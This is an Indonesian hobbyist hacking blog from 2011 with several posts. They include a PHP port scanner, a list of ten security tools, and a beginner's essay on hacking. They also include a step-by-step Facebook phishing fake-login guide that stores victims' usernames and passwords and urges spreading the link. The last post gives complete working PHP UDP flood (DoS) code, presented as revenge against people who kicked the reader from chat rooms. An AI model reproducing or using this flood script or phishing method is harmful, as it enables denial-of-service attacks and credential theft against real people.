Sabtu, 19 November 2011

"PortScanerVR" Code by. Variatif

Hallo Assalamulaikum ?? dengan kantor polisi?? "MAAF SALAH SAMBUNG INI DENGAN WC UMUM"
wakakakakak hiburan dikit.. Woy kok pada diem ... ketawa donkkkkkk!! dapat mikir niii. kkkkkkkkkkkkk.. lol

udah akh becanda mulu :S:S hehe..
Kali ini ane mo share ni.. gimana cara Mencari Celah PORT dari suatu IP Target. Kemaren kan ane bikin Tuh Buat flood IP orang. kalo yang belum tau silahkan baca masih di blog ane. Klik disini.

Kalo Mo flood IP kan Harus tau dulu PORT nya berapa...?? nah sekarang ane dah bikin ni , ane share sekarang.

Software ini ane namain "PortScanerVR" < ini punya arti lohh.. hehehe.. kata "VR" nya di ambil dari yang punya blog ini hehehe kata orang sih GANTENG. (H)  Biar ane sedikit terkenal gitu.. kayak AYU TING-TING.. "Kesana Kemarii mencari alamat" < ~NYANYI DIKIT~  :p:p... Enak gk suara ane???kkkkkkkkkkkkkk

Sekarang Capcussss ke TKP...

"PortScanerVR" ,   masih sama ini ane menggunakan Sistem PHP.. jadi kalian harus bikin dulu script PHP nya.. bisa di Notepad atau Notepad++.
Silahkan Copas Script yang udah ane buat :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
    <meta name="author" content="Variatif">

    <title>PHP Port Scanner, Coded by Variatif</title>
</head>
<!-- PHP Port Scanner - Variatif (Indosecure.net) -->
<body>
<center><br>
<img src="phps.png"><br>
<form method="post" action="" enctype="multipart/form-data">
<b>Masukan "IP"</b>: <input type="text" name="variatif" value="0.0.0.0"></form><br>
<?
if(isset($_POST['variatif'])){
    error_reporting(0);
    $site = $_POST['variatif'];
    $port = array(20,21,22,25,65,80,3128,3360,4899,8080,8888); $batas=count($port);
    echo "<table>";
    $i=0;
        while($i<$batas){
        $fp = fsockopen($site,$port[$i],$errno,$errstr,10);
            if(!$fp){
                echo "<tr><td>&bull; ".$port[$i]." </td><td>==> <font color=red><b>Cannot</b></font> connect to server</td></tr>";}
                    else
                        {
                        echo "<tr><td>&bull; ".$port[$i]." </td><td>==> Connect was <b><font color=green>successful</font></b> - open at ".$site;fclose($fp)."</td></tr>";}
                    $i++;

                        }
                    }   
    echo "</table>";
?>


OK,, Simpan Script diatas dengan Ekstensi file  ( .PHP ) . contoh : Index.php. Nama Filenya terserah kalian :) Lalu Jalankan deh :) cara jalaninnya pake XAMPP jg bisa.. caranya ada disini Klik Disini.

Ni contoh gambar yang udah ane buat


Itu sebagai Gambaran aja :) tapi lumayan keren jg heheheheh... silahkan kamu Pake gambar buatan sendiri. yang pasti ekstensinya itu terserah yang penting file gambar. Yang jelas namanya harus sama ama yang di script , cara gantinya di Script bagian ini >   <img src="phps.png"><br>  <<     kamu tinggal ganti phps.png nya. samakan dengan file gambar yang mau di pake. terus simpan di satu folder bersamaan script yang tadi kamu buat. gampang kan :P,,, hehe ,, tapi kalo mau Gambar yang punya ane jg ni gk papa. sedottt aja :P:P hehehe...

Ok dah selesai tuhh...!! sekarang ane mo Beol dulu udah gk kuat ni. tapi sambil Ngerokok yang tinggal sebatang lagi... Biar mantap hahahaha.. kalo kata orang "SUNDA" sih namanya PUSING = "MELEPUS SABARI NGISING"...  KKKKKKKKKKKKKKKKKKKKKK..

Ywdah ah ketawa mulu ni aneee..  anee capcuss lagiii... Semoga bermangfaat ya :) ASSALAMULAIKUM.


~Selamat Mencoba~

Salam, Variatif Camfroger

Jumat, 18 November 2011

~ 10 Tool Hack Favorit ~

1.Nessus
“Nessus” pertama kali dibuat oleh Renaud Deraison pada tahun 1998 dan disebarkan untuk komunitas internet secara bebas, bermanfaat, ter-update dengan baik serta mudah untuk digunakan.
Nessus adalah sebuah program untuk mencari kelemahan pada sebuah sistem komputer. Menurut situs resminya di www.nessus.org, tool ini telah digunakan oleh lebih dari 75.000 organisasi dan perusahaan di seluruh dunia.
2.Snort
Snort adalah sebuah IDS, yaitu tool untuk mencegah dan mendeteksi serangan terhadap sistem komputer. Vendor dari snort mengklaim bahwa tool ini telah didownload berjuta-juta kali dari situs mereka. Anda mungkin berminat untuk mencobanya, silahkan download tool ini di www.snort.org.
3.Kismet

Kismet adalah sebuah tool untuk mendeteksi koneksi wireless(mendukung lalu lintas 802.11b, 802.11a, dan 802.11g ) , menangkap paket dalam sebuah sistem jaringan dan menjadi sebuah IDS (intrusion detection System).
Untuk mencari tahu lebih lanjut mengenai kismet, anda dapat mengunjungi situs http://www.kismetwireless.net atau masuk ke #kismet irc.freenode.net.
4.Metasploit Framework
Metasploit Framework adalah sebuah proyek open source untuk mengembangkan, menguji dan menggunakan kode eksploit. Dibuat dengan bahasa Perl sebagai fondasi dasar dan dan terdiri dari komponen pelengkap yang telah dicompile dengan bahasa C, assembler dan Python. Metasploit Framework dapat berjalan pada sistem operasi UNIX, Linux dan Windows. Keterangan yang lebih detail dapat anda cari di http://www.metasploit.com.

5.Netcat
Netcat adalah sebuah tool networking utility yang dapat membaca dan menulis data pada koneksi sebuah jaringan melalui protokol TCP/IP.
Fitur yang terdapat pada Netcat antara lain :
  • Koneksi keluar dan masuk melalui protokol UDP ataupun TCP dengan port yang digunakan..
  • Tunneling mode, tunneling dari UDP ke TCP, memetakan parameter dalam jaringan (source port/interface, listening port/interface, dan mengijinkan remote host melakukan koneksi ke tunnel)
  • Port scanner, untuk mendeteksi port yang terbuka.
  • Buffered send-mode dan hexdump RFC854 telnet.
6.Hping
Hping merupakan sebuah tool serba guna. Tool ini dapat digunakan untuk menguji kemampuan firewall, mencari port yang terbuka, menguji keamanan jaringan dengan menggunakan berbagai jenis protokol, mendapatkan informasi sistem operasi, mengevaluasi protokol TCP/IP.
7.TCPDump
Tcpdump juga merupakan sebuah sniffer. Admin jaringan menggunakan tool ini untuk memonitor lalu lintas dan menganalisa permasalahan jika terjadi gangguan. Menurut informasi di http://www-iepm.slac.stanford.edu/monitoring/passive/tcpdump.html , Tcpdump menggunakan paket filter dari UNIX BSD untuk meng-capture data(BPF / BSD Packet Filter).BPF menerima salinan dari driver pengirim dan penerima paket.Pengguna tcpdump juga dapat menyaring paket sesuai dengan keinginan.
8. John The Ripper
Sebuah password cracker dari jaman nenek moyang para hacker yang masih menjadi 10 besar tool favorit. Berikut adalah keterangan dari pembuat John The Ripper.
John the Ripper is a password cracker, currently available for UNIX, DOS,WinNT/Win95. Its primary purpose is to detect weak UNIX passwords. It has been tested with Linux x86/Alpha/SPARC, FreeBSD x86, OpenBSD x86, Solaris 2.x SPARC and x86, Digital UNIX, AIX, HP-UX, and IRIX”.
9. Cain And Abel
Cain & Abel adalah sebuah tool untuk masalah password. Tool ini dapat mengumpulkan password dengan metode network sniffing, meng-crack password menggunakan Dictionary attack, Brute-Force and Cryptanalysis attacks, merekam pembicaraan VoIP (Voice Over Internet Protocol), meng-crack jaringan wireless, menganalisa trafik dalam jaringan. www.oxid.it
10. WireShark / Ethereal
Wireshark / Ethereal adalah sebuah tool untuk menganalisa protokol jaringan. Fungsinya juga sebagai sebuah sniffer. Memantau lalu lintas internet. Wireshark dapat berjalan pada Windows, MAC OS X, dan Linux. www.wireshark.org Tertarik? Pelajari dan pahami saja cara penggunaan 10 tool tsb. Kita memang tdk akan semudah itu menjadi hacker hebat hanya dengan mengandalkan 10 tool diatas. Tapi tool2 tsb sudah diakui oleh semua tingkatan Hacker. Kan bisa menjadi tambahan bagi anda2 yang ingin menggeluti sekuriti komputer secara mendalam.


Diterjemahkan dari: www.insecured.org

Gimana Caranya Jadi Hacker ??

Aduuhh Gimana ya pengen Jadi Hacker?? "ngelamun sambil mikir pegang kepala" hehehe :D
Ok ini ni ane buat artikel sedikit kurangnya atau kalo ada yang salah , ane mohon maaf ya senior senior hehe**:D:D saya sarankan membaca ini seperti biasa sambil Sedot Rokok & Kopi Supaya fresshh haha. lol


~Bagaimana Caranya jadi Hacker~

Sebelumnya,  ane  mohon  maaf  kalo  ada  yang  menganggap  tulisan  ini  sebuah  kesalahan  atau
bahkan mungkin dianggap sebagai sebuah faham yang salah. Memang ane sejatinya bukan
seorang  hacker.  Tapi,  ane  mau  mencoba  sedikit  menjelaskan  &  memberi  gambaran
bagaimana dan seperti apa yang saya rasakan selama satu tahun ini mendalami dunia yang banyak
orang  awam  mengatakan  hacking  itu  illegal,  tidak  memiliki  aturan,  ataupun  mungkin  ada  yang
mengatakan dunia teroris.. Dunia HACKER..

Ini adalah tutorial singkat yang dirancang untuk menunjukkan sama kalian-kalian bagaimana untuk memulai
dengan hacking. Ini bukan analisis mendalam tentang Unix, dan ane gk akan nunjukin kepada kalian bagaimana menghack sistem tertentu atau memberikan username tertentu atau password.
Apa pun yang kalian lakukan setelah membaca artikel ini adalah bukan tanggung jawab ane ya, jadi jangan
pernah mengharapkan saya untuk merindukan anda didalam penjara jika anda tertangkap.
Jika  Kalian  seorang  hacker  hebat,  maka  saya  harapkan  Kalian  memberikan  sedikit  petuah  dan  tidak
hanya cibiran karena tulisan ini dirancang untuk pemula... :D:D

Apa sebenarnya hacker itu?

Ada  ratusan  definisi  tentang  hal  ini.  Namun  untuk  deskripsi  mendasar,  hacker  adalah  orang  yang
mengakses dan menggunakan komputer milik orang lain dengan cara yang user biasa mungkin tidak memikirkan. Ini sudah pasti menjadi sesuatu yang melanggar hukum, namun beberapa dari mereka melakukan hal tersebut untuk mencari sebuah kelemahan dalam sebuah system. baik system sebuah mesin ataupun system pola pikir manusia, sehingga semua bisa diperbaiki dan samakin memperkuat system tersebut.
  
 2: Katakan padaku bagaimana menghack?

Ketika  kalian  menanyakan  bagaimana  cara  belajar  hack,  mungkin  jawabannya  ada  di  dalam
pertanyaan  tersebut.  Sebuah  pola  pikir  yang  tidak  akan  pernah  bisa  diajarkan.  Pola  pikir  itulah  yang
membuat para hacker bisa mengexplore lebih jauh dari pola pikir user biasa.
Pola pikir mereka adalah bagaimana membuat sebuah pertanyaan menjadi jawaban. Mereka membagi
sebuah pertanyaan menjadi beberapa bagian yang lebih spesifik dan mencarinya satu
persatu untuk lebih memudahkan dalam mendalami dasar dari pertanyaan tersebut.
  
3. Di mana tempat untuk belajar?

Terlepas  dari  arti  sebenarnya  dari  hacking,  yang  paling  penting  yang  dapat  kalian lakukan  adalah
membaca artikel yang berasal dari berbagai sumber, termasuk perpustakaan setempat atau bahkan
internet. Ada beberapa sekitar dengan judul seperti The secret underworld of hacking, tetapi ini akan
sangat membuang-buang waktu, dan tidak mengandung informasi yang berharga. Sebaliknya, dengan
membaca buku yang berjudul Unix : 'An introduction' or 'How to teach yourself Unix'.  Ini akan memberikan banyak pengetahuan dan informasi. Anda tidak akan belajar dengan hanya mendownload program untuk melakukan pekerjaan Anda untuk Anda, walaupun beberapa sangat penting. Selain itu anda bisa bergabung dengan milis, forum ataupun sebuah komunitas Underground yang jumlahnya sudah melebihi
ratusan, tetapi hal itu tidak akan membantu banyak jika anda masih tetap saja berfikir dengan pola pikir Meskipun Anda harus menggunakannya sesedikit mungkin, Anda akan perlu menggunakan beberapa
program.  Salah  satu  yang  paling  penting  adalah  program  cracking  password.  Maksud  dari  Program
Cracking  Password  adalah  bukan  sebuah  program  yang digunakan  untuk  mengetahui  password  dari
username tertentu.
Tolong Pahami apa arti dari Crack. Jika anda menginginkan sebuah program untuk
mendapatkan password sebuah account tertentu, maka anda harus mencari program dengan nama
Get Password bukan Crack Password, dan jika memungkinkan ada program tersebut, system kerjanya
adalah dengan menghubungkan program tersebut dengan Database atau tempat penyimpanan data
yang menyimpan beberapa account beserta password, dan apabila anda sudah menemukan program
tersebut, cobalah untuk menganalisa dengan logika terlebih dahulu bagaimana program itu bekerja dan
apa yang dilakukan program tersebut jika dijalankan. Mengapa saya mengatakan hal tersebut diatas?
Karena mayoritas database hanya bisa diakses oleh localhost
(diatas mesin dimana database tersebut dijalankan).

Artikel ini adalah sedikit dari beberapa ringkasan yang pernah ane baca. ane mengambil beberapa hal
yang menurut ane penting dan ane tambahkan sedikit untuk mempermudah pemahaman akan hal ini.
ywdah deh ane belum salat ni,,, dadahhh babayyyyy....

~ Semoga Bermangfaat ~

Salam , 'Variatif Camfroger'

Cara Hack Facebook dengan Fake Login

Ok kali ini ane mo share gimana caranya Hack Facebook memakai Sistim Fake login.
Trik ini adalah salah satu cara untuk mendapatkan username dan password Facebook yaitu dengan membuat tempat login tipuan. kalo dalam hacking ini termasuk phising / menipu. hahaha sory bukan ngajarin jadi TUTI alias TUKANG TIPU. hahaha lol, tapi ini sebagai Ilmu aja gan :) nambah-nambah pengetahuan :)) hehe
ok to the point aja !!.

Pertama yang wajib anda sediakan yaitu webhosting untuk meletakkan script fake login yang akan anda buat, langkah-langkah untuk itu adalah sebagai berikut:
Anda buat file html yang berupa, tempat fake login
  1. Mari kita buat contoh misalnya : http://situskamu.com/facebook/index.html
  2. Buat juga file logs.php di hosting yang Kamu punya
  3. Contoh saja http://situskamu.com/facebook/logs.php
  4. Kamu buat juga file kosong dalam format txt dengan nama logs.txt
  5. Contoh saja http://situsanda.com/facebook/logs.txt
  6. Ganti File Permision Mode menjadi 777(chmod+777) chmod777 artinya dimana semua file dapat dibaca[R], dapat ditulis[W], dapat dieksekusi[X]. Jadi chmod777 adalah untuk merubah agar file tersebut dapat dieksekusi USER, GROOUP dan OTHER.
  7. Hasil set file permision 777 adalah [rwxrwxrwx] untuk unix server
  8. Kalo masalah mode, langsung saja di coba tanpa memperhatikan poin di atas dan semuanya biar berjalan.
  9. Selain 777 explore permision, dapat juga 775.775, disesuaikan dengan server dan penyedia hosting kamu
  10. Intinya apabila sudah jadi halaman facebook login yang kamu buat, maka kalo ada seseorang yang masuk ke halaman tersebut maka Target tidak akan sadar kalau telah memasuki halaman facebook palsu, hahahaha lol.
  11. Maka jika mereka login pada halaman yang anda buat tadi, maka username dan pasword mereka akan automatis tersimpan pada file http://situsanda.com/facebook/logs.txt yang kamu buat tadi
  12. Lalu sebarkan URL fakelogin yang kamu buat tadi sebanyak-banyaknya. biarr dapat banyak jg lahh hahaahaha,
Tuh cara cara nya .. hehe jangan masukin ke komputer ane ye :@:@:@ hahaha lol.
Oia bisa gk ni buat scriptnya??? *)*)  kkkkkk ok deh ane kasih ni silahkan Sedot scriptnya Klik Disini.

OK Deh !! udah dulu ye.. ngantuk Mo tidur dulu.. doain ya friend semoga Mimpi Jadi Presiden haha :)


Selamat mencoba 

Salam , Variatif Camfroger

Kamis, 17 November 2011

Flood IP dengan PHP DDoS



Salam..!!!
Kalian Kesel sama orang??pernah di kick dari room atau punish / baned room?? ikh pokoknya bikin Esmosi mulu?? eh maksud ane 'emosi' hhehehe.. 
gk usah di lawan lagi :P:P  mending kita pake cara lain dengan cara jail. "wewwww"kkkkkkk
nahhhhh.. "Tapi gimana???" Gampanggg !! mending kita Jailin Koneksinya aja :) hahaha.. 

Ok langsung aja ke TKP..!! :D:D
Pertama, Karna kita disini mau bikin Script PHP , maka kalian harus siapin dulu Software untuk Menjalankan php nya. Yang gw pake sih XAMPP, lumayan Mudah digunakan , untuk software nya silahkan download disini.
Download dulu tuh. mudah mudahan cepet. kalo koneksinya OON kayak Keong. Saya anjurkan untuk Merokok + Ngopi dulu buat menunggu biar Freshhhh , kkkkkkkkkkkkkkkkkk :D:D

Ok Next.. sekarang buat scriptnya, copas ni Script PHP yang udah ane buat !!
____________________________________________________________________________________

<?php

//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by Variatif
//www.ZeroDayExile.com
//=================================================

$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;



for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
       
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>


____________________________________________________________________________________

Itu script di atas kasih nama dengan function.php
next. Kedua,, bikin main nya (buat mancing file yang function.php tadi)
copas lagi script di bawah ini dengan ekstensi file index.php
______________________________________________________________________________________
 
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
    <meta name="author" content="">

    <title>PHP DoS, Coded by Variatif</title>
</head>
<!-- PHP DOS, coded by Variatif Camfrog -->
<style type="text/css">
<!--
body {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    font-style: normal;
    line-height: normal;
    color: #FFFFFF;
    background-color: #000000;
}



-->
</style>
<!-- PHP DOS, coded by Variatif -->
<body>
<center><br><br>
<img src="MANTAP.JPG"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font>&nbsp;(Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
&nbsp;&nbsp;&nbsp;&nbsp;Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
&nbsp;&nbsp;&nbsp;&nbsp;Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value="    Start the Attack--->    ">
<br><br>
<center>
Pakai Secara Bijak!!!
</center>

</form>
</center>
<!-- PHP DOS, coded by Variatif -->
</body>
</html>


 _____________________________________________________________________________________

Setelah kedua file di buat, siapkan foto dengan ekstensi nama filenya mantap.jpg  < fungsinya buat memperindah aja, supaya lebih menarik , hehe

sekarang bikin folder baru. dengan ekstensi nama sesukamu. :))
file yang kita buat yaitu function.php dan index.php masukan kedalam folder baru yang telah kita, oia foto yang tadi telah disiapkan pun di masukan jg, jadi dalam satu folder ada 3 file yaitu function.php , index.php & mantap.jpg .
Ok , pembuatan script sudah Finish < kalo gk tau artinya finish itu BERESSSSSS .. kkkk hahaha ,,   lol

Kita kembali ke software yang telah pertama kita download yaitu XAMPP. instal dulu.
sesudah di instal folder yang tadi telah kita buat cut/copy disini >>  C:\xampp\htdocs  << harus disitu pokonye jangan ngeyell , hehehe :))
Sekarang kita buka XAMPP, terus klik START yang bagian apache dan MySqL. kalo dua duanya sudah Running.
Langkah selanjutnya adalah , buka software browsing kalian, boleh di Mozilla Firefox, google chrome , dll
terus masukan di kolom adress dengan keyword >>  http://localhost/(nama folder)/index.php .
untuk 'nama folder' < adalah nama folder yang telah tadi kita buat yang isinya ketiga file tadi :).

Selesaiiiii dehhhhh !! capek jg ni ane nulis.... minta airrrr donkk... :@:@:@ kkkkk .  
Ok.... !!!  Mulai deh iseng ... kalian tinggal masukan IP target. dan Port nya :) untuk timenya terserah anda berapa lama flooding nya :)) yang jelas jangan ampe satu tahun ya. kasian... lol hahahahahahahha.....


"jangan flood ip gw y" :(( :'( emakkkkkkkkkkkkkkkkkkkkk hikkz hikzzz ....  :(( hahahahah lol.

NB: PAKAI SECARA BIJAK !!

Yaudah ane mo mandi dulu ni. belum mandi 3 hari. tapi heran nya tetep aja ganteng kkkkkk lebay.com.. hahaha.. Sampai jumpaaa :P:P

Selamat mencoba :)